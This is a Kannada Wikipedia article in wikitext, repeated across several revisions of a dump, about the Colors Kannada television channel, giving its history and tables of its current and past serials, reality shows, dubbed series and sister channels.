ಕಲರ್ಸ್ ಕನ್ನಡ 0 144335 1116586 1116385 2022-08-24T07:58:57Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಕನ್ನಡ''' ಇದು ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. <ref>{{Cite web|url=https://www.viacom18.com/media/colors-kannada-launch|title=Kannada Television to Gain a New Hue|publisher=[[Viacom18]]}}</ref> ಈ ಚಾನಲ್ ಪ್ರಸ್ತುತ [[ಭಾರತ]] ಮತ್ತು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ]] ಲಭ್ಯವಿದೆ. ಈ ಚಾನೆಲ್‌ನ ಯಶಸ್ಸಿನ ಮೇಲೆ, ಕಲರ್ಸ್ ಸೂಪರ್ ಎಂಬ ಹೆಸರಿನ ಮತ್ತೊಂದು ಚಾನೆಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಡಿಸೆಂಬರ್ 2020 ರಲ್ಲಿ ಕಲರ್ಸ್ ಕನ್ನಡ ತನ್ನ 20 ನೇ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|logofile=ಕಲರ್ಸ್ ಕನ್ನಡ.png|country=ಭಾರತ|language=ಕನ್ನಡ|broadcast area=ಭಾರತ|headquarters=ಬೆಂಗಳೂರು ,ಭಾರತ|owner=ವಿಯಾಕಾಮ್ 18|launch=ಡಿಸೆಂಬರ್ 10, 2000; 21 ವರ್ಷಗಳ ಹಿಂದೆ|replaced names=ಈಟಿವಿ ಕನ್ನಡ|slogan=ಬಣ್ಣ ಹೊಸದಗಿದೆ ಬಂಧ ಬಿಗಿಯಾಗಿದೆ}} == ಇತಿಹಾಸ == ಚಾನೆಲ್ ಅನ್ನು ಮೂಲತಃ 10 ಡಿಸೆಂಬರ್ 2000 ರಂದು ETV ಕನ್ನಡ ಎಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಹೈದರಾಬಾದ್‌ನ ರಾಮೋಜಿ ರಾವ್ ಅವರಿಂದ ಪ್ರಚಾರ ಮಾಡಲಾಯಿತು. ಇದು ನಂತರ ನೆಟ್‌ವರ್ಕ್ 18 ಒಡೆತನದ ವಯಾಕಾಮ್ 18 ರ ಭಾಗವಾಯಿತು, 26 ಏಪ್ರಿಲ್ 2015 ರಂದು ಅಧಿಕೃತವಾಗಿ ಕಲರ್ಸ್ ಫ್ರ್ಯಾಂಚೈಸ್ ಅಡಿಯಲ್ಲಿ ಮರು-ಬ್ರಾಂಡ್ ಮಾಡಿತು. [[ಕರ್ನಾಟಕ|ಕರ್ನಾಟಕದಲ್ಲಿ]] HD ಚಾನೆಲ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಮೊದಲ GEC ಕಲರ್ಸ್ ಕನ್ನಡ. == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಟಿಪ್ಪಣಿಗಳು |- | 14 ಜನವರಿ 2019 | ''ನಮ್ಮನೆ ಯುವರಾಣಿ'' | |- | 11 ಜುಲೈ 2022 | ''ಒಲವಿನ ನಿಲ್ದನ'' | |- | 20 ಡಿಸೆಂಬರ್ 2021 | ''ದೊರೆಸಾನಿ'' | |- | 12 ಮಾರ್ಚ್ 2012 | ''ಮಂಗಳ ಗೌರಿ ಮದುವೆ'' | [[ಕನ್ನಡ]] ಕಿರುತೆರೆ ಧಾರಾವಾಹಿ ''ಪುಟ್ಟಗೌರಿ ಮದುವೆಯ'' ಸೀಕ್ವೆಲ್ |- | 27 ಜನವರಿ 2020 | ''ಕನ್ನಡತಿ'' | |- | 6 ಜನವರಿ 2020 | ''ಗೀತಾ'' | |- | 17 ಆಗಸ್ಟ್ 2020 | ''ಗಿಣಿರಾಮ'' | [[ಮರಾಠಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಜೀವ್ ಝಲಾ ಯೆಡಾ ಪಿಸಾದ'' ರೂಪಾಂತರ |- | 31 ಜನವರಿ 2022 | ''ರಾಮಾಚಾರಿ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಲಕ್ಷಣಾ'' | |- | 3 ಫೆಬ್ರವರಿ 2020 | ''ನನ್ನರಸಿ ರಾಧೆ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಕನ್ಯಾಕುಮಾರಿ'' | |- | 28 ಫೆಬ್ರವರಿ 2022 | ''ದಾಸ ಪುರಂದರ'' | ಪ್ರಸಿದ್ಧ ದಾರ್ಶನಿಕ ಮತ್ತು ಗಾಯಕ ''[[ಪುರಂದರದಾಸ|ಪುರಂದರ ದಾಸರ]]'' ಕಥೆ |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ರಿಯಾಲಿಟಿ ಶೋ |- | 11 ಜೂನ್ 2022 | ''ರಾಜಾ ರಾಣಿ ಸೀಸನ್ 2'' |- | 9 ಏಪ್ರಿಲ್ 2022 | ''ಗಿಚ್ಚಿ ಗಿಳಿಗಿಲಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಡಬ್ ಮಾಡಿದ ಆವೃತ್ತಿ |- | 4 ಜುಲೈ 2022 | ''ನಾಗಕನ್ನಿಕೆ ೭'' | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ನಾಗಿನ್ |- | 25 ಏಪ್ರಿಲ್ 2022 | ''ಪವಾಡ ಪುರುಷ'' | ಮರಾಠಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಲುಮಾಚ್ಯಾ ನವನೇ ಚಾಂಗ್ಭಾಲಾ'' |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಹೆಸರು ! ಬಿಡುಗಡೆ ದಿನಾಂಕ ! ವರ್ಗ ! SD/HD ಲಭ್ಯತೆ ! ಟಿಪ್ಪಣಿಗಳು |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ'' | 10 ಡಿಸೆಂಬರ್ 2000 | rowspan="2" | GEC | SD+HD | ಹಿಂದೆ ''ಈಟಿವಿ ಕನ್ನಡ'' |- | ''ಕಲರ್ಸ್ ಸೂಪರ್'' | 24 ಜುಲೈ 2016 | rowspan="3" | SD | Viacom18 ರ ಎರಡನೇ ಕನ್ನಡ GEC ಚಾನೆಲ್ |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ'' | 24 ಸೆಪ್ಟೆಂಬರ್ 2018 | [[ಸಿನಮಾ|ಚಲನಚಿತ್ರಗಳು]] | Viacom18 ನ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನೆಲ್ |- | ''[[ನ್ಯೂಸ್18 ಕನ್ನಡ|ನ್ಯೂಸ್ 18 ಕನ್ನಡ]]'' | 19 ಮಾರ್ಚ್ 2014 | [[ವಾರ್ತೆ|ಸುದ್ದಿ]] | ಹಿಂದೆ [[ನ್ಯೂಸ್18 ಕನ್ನಡ|''ಈಟಿವಿ ನ್ಯೂಸ್ ಕನ್ನಡ'']] |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ಧಾರಾವಾಹಿಗಳು === === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 1'' | 2013 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 3'' | 2015 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 4'' | 2016 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 7'' | 2019 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 8'' | 2021 | 120 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಮಿನಿ ಸೀಸನ್'' | 2021 | 23 |- | ''ಚಾಟ್ ಕಾರ್ನರ್'' | 2020 | 42 |- | ''ಹಾಸ್ಯ ಕಂಪನಿ'' | 2019 | 18 |- | ''ಕಾಮಿಡಿ ಟಾಕೀಸ್'' | 2017 | 54 |- | ''ನೃತ್ಯ ಚಾಂಪಿಯನ್'' | 2022 | 32 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 1'' | 2014 | |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 2'' | 2015 | 38 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 3'' | 2016 | 26 |- | ''ಥಾಕಾ ಧಿಮಿ ತಾ'' | 2019 | 32 |- | ''ಎದೆ ತುಂಬಿ ಹಾಡುವೆನು'' | 2021 | 29 |- | ''ಎಂದು ಮರೆಯಾದ ಹಾಡು'' | | |- |''ಕುಟುಂಬದ ಶಕ್ತಿ'' | 2017 | 42 |- | ''ಹಾಡು ಕರ್ನಾಟಕ'' | 2020 | 18 |- | ''ಭಾರತೀಯ'' | 2013 | |- | ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] ಸೀಸನ್ 4'' | 2019 | |- | ''ಮಜಾ ಭಾರತ ಸೀಸನ್ 4'' | 2020 | 31 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 1'' | 2015 | 264 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 3'' | 2020 | 69 |- | ''ಮುಂಜಾನೆ ರಾಗ'' | 2021 | 60 |- | ''ನನ್ನಮ್ಮ ಸೂಪರ್ ಸ್ಟಾರ್'' | 2021 | 34 |- | ''ಪ್ರಾರ್ಥನೆ'' | 2016 | 262 |- | ''ರಾಜಾ ರಾಣಿ'' | 2021 | 35 |- | ''ಸವಿರುಚಿ'' | 2022 | 60 |- | ''ನಕ್ಷತ್ರ ಸವಿರುಚಿ'' | 2016 | 105 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 1'' | 2015 | |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 2'' | 2016 | 39 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 3'' | 2017 | 28 |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | ''ಚಿಕ್ಕೇಜಮಣಿ'' | 2021 - 2022 | 241 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬ್ಯಾರಿಸ್ಟರ್ ಬಾಬು'' |- | ''ನಾಗಕನ್ನಿಕೆ ೨'' | 2020 | 76 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 2'' |- | ''ನಾಗಕನ್ನಿಕೆ ೩'' | 2020 - 2021 | 105 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 3'' |- | ''ನಾಗಕನ್ನಿಕೆ ೪'' | 2021 | 43 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 4'' |- | ''ನಾಗಕನ್ನಿಕೆ ೫'' | 2021 | 95 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 5'' |- | ''ನಾಗಕನ್ನಿಕೆ ೬'' | 2021 | 79 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 1'' |} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 4wjou8xkp07n01ghuz8udecm8litpg3 1116588 1116586 2022-08-24T08:06:22Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಕನ್ನಡ''' ಇದು ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. <ref>{{Cite web|url=https://www.viacom18.com/media/colors-kannada-launch|title=Kannada Television to Gain a New Hue|publisher=[[Viacom18]]}}</ref> ಈ ಚಾನಲ್ ಪ್ರಸ್ತುತ [[ಭಾರತ]] ಮತ್ತು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ]] ಲಭ್ಯವಿದೆ. ಈ ಚಾನೆಲ್‌ನ ಯಶಸ್ಸಿನ ಮೇಲೆ, ಕಲರ್ಸ್ ಸೂಪರ್ ಎಂಬ ಹೆಸರಿನ ಮತ್ತೊಂದು ಚಾನೆಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಡಿಸೆಂಬರ್ 2020 ರಲ್ಲಿ ಕಲರ್ಸ್ ಕನ್ನಡ ತನ್ನ 20 ನೇ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|logofile=ಕಲರ್ಸ್ ಕನ್ನಡ.png|country=ಭಾರತ|language=ಕನ್ನಡ|broadcast area=ಭಾರತ|headquarters=ಬೆಂಗಳೂರು ,ಭಾರತ|owner=ವಿಯಾಕಾಮ್ 18|launch=ಡಿಸೆಂಬರ್ 10, 2000; 21 ವರ್ಷಗಳ ಹಿಂದೆ|replaced names=ಈಟಿವಿ ಕನ್ನಡ|slogan=ಬಣ್ಣ ಹೊಸದಗಿದೆ ಬಂಧ ಬಿಗಿಯಾಗಿದೆ|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು}} == ಇತಿಹಾಸ == ಚಾನೆಲ್ ಅನ್ನು ಮೂಲತಃ 10 ಡಿಸೆಂಬರ್ 2000 ರಂದು ETV ಕನ್ನಡ ಎಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಹೈದರಾಬಾದ್‌ನ ರಾಮೋಜಿ ರಾವ್ ಅವರಿಂದ ಪ್ರಚಾರ ಮಾಡಲಾಯಿತು. ಇದು ನಂತರ ನೆಟ್‌ವರ್ಕ್ 18 ಒಡೆತನದ ವಯಾಕಾಮ್ 18 ರ ಭಾಗವಾಯಿತು, 26 ಏಪ್ರಿಲ್ 2015 ರಂದು ಅಧಿಕೃತವಾಗಿ ಕಲರ್ಸ್ ಫ್ರ್ಯಾಂಚೈಸ್ ಅಡಿಯಲ್ಲಿ ಮರು-ಬ್ರಾಂಡ್ ಮಾಡಿತು. [[ಕರ್ನಾಟಕ|ಕರ್ನಾಟಕದಲ್ಲಿ]] HD ಚಾನೆಲ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಮೊದಲ GEC ಕಲರ್ಸ್ ಕನ್ನಡ. == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಟಿಪ್ಪಣಿಗಳು |- | 14 ಜನವರಿ 2019 | ''ನಮ್ಮನೆ ಯುವರಾಣಿ'' | |- | 11 ಜುಲೈ 2022 | ''ಒಲವಿನ ನಿಲ್ದನ'' | |- | 20 ಡಿಸೆಂಬರ್ 2021 | ''ದೊರೆಸಾನಿ'' | |- | 12 ಮಾರ್ಚ್ 2012 | ''ಮಂಗಳ ಗೌರಿ ಮದುವೆ'' | [[ಕನ್ನಡ]] ಕಿರುತೆರೆ ಧಾರಾವಾಹಿ ''ಪುಟ್ಟಗೌರಿ ಮದುವೆಯ'' ಸೀಕ್ವೆಲ್ |- | 27 ಜನವರಿ 2020 | ''ಕನ್ನಡತಿ'' | |- | 6 ಜನವರಿ 2020 | ''ಗೀತಾ'' | |- | 17 ಆಗಸ್ಟ್ 2020 | ''ಗಿಣಿರಾಮ'' | [[ಮರಾಠಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಜೀವ್ ಝಲಾ ಯೆಡಾ ಪಿಸಾದ'' ರೂಪಾಂತರ |- | 31 ಜನವರಿ 2022 | ''ರಾಮಾಚಾರಿ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಲಕ್ಷಣಾ'' | |- | 3 ಫೆಬ್ರವರಿ 2020 | ''ನನ್ನರಸಿ ರಾಧೆ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಕನ್ಯಾಕುಮಾರಿ'' | |- | 28 ಫೆಬ್ರವರಿ 2022 | ''ದಾಸ ಪುರಂದರ'' | ಪ್ರಸಿದ್ಧ ದಾರ್ಶನಿಕ ಮತ್ತು ಗಾಯಕ ''[[ಪುರಂದರದಾಸ|ಪುರಂದರ ದಾಸರ]]'' ಕಥೆ |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ರಿಯಾಲಿಟಿ ಶೋ |- | 11 ಜೂನ್ 2022 | ''ರಾಜಾ ರಾಣಿ ಸೀಸನ್ 2'' |- | 9 ಏಪ್ರಿಲ್ 2022 | ''ಗಿಚ್ಚಿ ಗಿಳಿಗಿಲಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಡಬ್ ಮಾಡಿದ ಆವೃತ್ತಿ |- | 4 ಜುಲೈ 2022 | ''ನಾಗಕನ್ನಿಕೆ ೭'' | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ನಾಗಿನ್ |- | 25 ಏಪ್ರಿಲ್ 2022 | ''ಪವಾಡ ಪುರುಷ'' | ಮರಾಠಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಲುಮಾಚ್ಯಾ ನವನೇ ಚಾಂಗ್ಭಾಲಾ'' |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಹೆಸರು ! ಬಿಡುಗಡೆ ದಿನಾಂಕ ! ವರ್ಗ ! SD/HD ಲಭ್ಯತೆ ! ಟಿಪ್ಪಣಿಗಳು |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ'' | 10 ಡಿಸೆಂಬರ್ 2000 | rowspan="2" | GEC | SD+HD | ಹಿಂದೆ ''ಈಟಿವಿ ಕನ್ನಡ'' |- | ''ಕಲರ್ಸ್ ಸೂಪರ್'' | 24 ಜುಲೈ 2016 | rowspan="3" | SD | Viacom18 ರ ಎರಡನೇ ಕನ್ನಡ GEC ಚಾನೆಲ್ |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ'' | 24 ಸೆಪ್ಟೆಂಬರ್ 2018 | [[ಸಿನಮಾ|ಚಲನಚಿತ್ರಗಳು]] | Viacom18 ನ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನೆಲ್ |- | ''[[ನ್ಯೂಸ್18 ಕನ್ನಡ|ನ್ಯೂಸ್ 18 ಕನ್ನಡ]]'' | 19 ಮಾರ್ಚ್ 2014 | [[ವಾರ್ತೆ|ಸುದ್ದಿ]] | ಹಿಂದೆ [[ನ್ಯೂಸ್18 ಕನ್ನಡ|''ಈಟಿವಿ ನ್ಯೂಸ್ ಕನ್ನಡ'']] |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ಧಾರಾವಾಹಿಗಳು === === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 1'' | 2013 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 3'' | 2015 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 4'' | 2016 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 7'' | 2019 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 8'' | 2021 | 120 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಮಿನಿ ಸೀಸನ್'' | 2021 | 23 |- | ''ಚಾಟ್ ಕಾರ್ನರ್'' | 2020 | 42 |- | ''ಹಾಸ್ಯ ಕಂಪನಿ'' | 2019 | 18 |- | ''ಕಾಮಿಡಿ ಟಾಕೀಸ್'' | 2017 | 54 |- | ''ನೃತ್ಯ ಚಾಂಪಿಯನ್'' | 2022 | 32 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 1'' | 2014 | |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 2'' | 2015 | 38 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 3'' | 2016 | 26 |- | ''ಥಾಕಾ ಧಿಮಿ ತಾ'' | 2019 | 32 |- | ''ಎದೆ ತುಂಬಿ ಹಾಡುವೆನು'' | 2021 | 29 |- | ''ಎಂದು ಮರೆಯಾದ ಹಾಡು'' | | |- |''ಕುಟುಂಬದ ಶಕ್ತಿ'' | 2017 | 42 |- | ''ಹಾಡು ಕರ್ನಾಟಕ'' | 2020 | 18 |- | ''ಭಾರತೀಯ'' | 2013 | |- | ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] ಸೀಸನ್ 4'' | 2019 | |- | ''ಮಜಾ ಭಾರತ ಸೀಸನ್ 4'' | 2020 | 31 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 1'' | 2015 | 264 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 3'' | 2020 | 69 |- | ''ಮುಂಜಾನೆ ರಾಗ'' | 2021 | 60 |- | ''ನನ್ನಮ್ಮ ಸೂಪರ್ ಸ್ಟಾರ್'' | 2021 | 34 |- | ''ಪ್ರಾರ್ಥನೆ'' | 2016 | 262 |- | ''ರಾಜಾ ರಾಣಿ'' | 2021 | 35 |- | ''ಸವಿರುಚಿ'' | 2022 | 60 |- | ''ನಕ್ಷತ್ರ ಸವಿರುಚಿ'' | 2016 | 105 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 1'' | 2015 | |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 2'' | 2016 | 39 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 3'' | 2017 | 28 |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | ''ಚಿಕ್ಕೇಜಮಣಿ'' | 2021 - 2022 | 241 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬ್ಯಾರಿಸ್ಟರ್ ಬಾಬು'' |- | ''ನಾಗಕನ್ನಿಕೆ ೨'' | 2020 | 76 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 2'' |- | ''ನಾಗಕನ್ನಿಕೆ ೩'' | 2020 - 2021 | 105 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 3'' |- | ''ನಾಗಕನ್ನಿಕೆ ೪'' | 2021 | 43 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 4'' |- | ''ನಾಗಕನ್ನಿಕೆ ೫'' | 2021 | 95 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 5'' |- | ''ನಾಗಕನ್ನಿಕೆ ೬'' | 2021 | 79 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 1'' |} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 0h159h59od7oy0epclyzq5hq60coy3f 1116589 1116588 2022-08-24T08:06:56Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಕನ್ನಡ''' ಇದು ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. <ref>{{Cite web|url=https://www.viacom18.com/media/colors-kannada-launch|title=Kannada Television to Gain a New Hue|publisher=[[Viacom18]]}}</ref> ಈ ಚಾನಲ್ ಪ್ರಸ್ತುತ 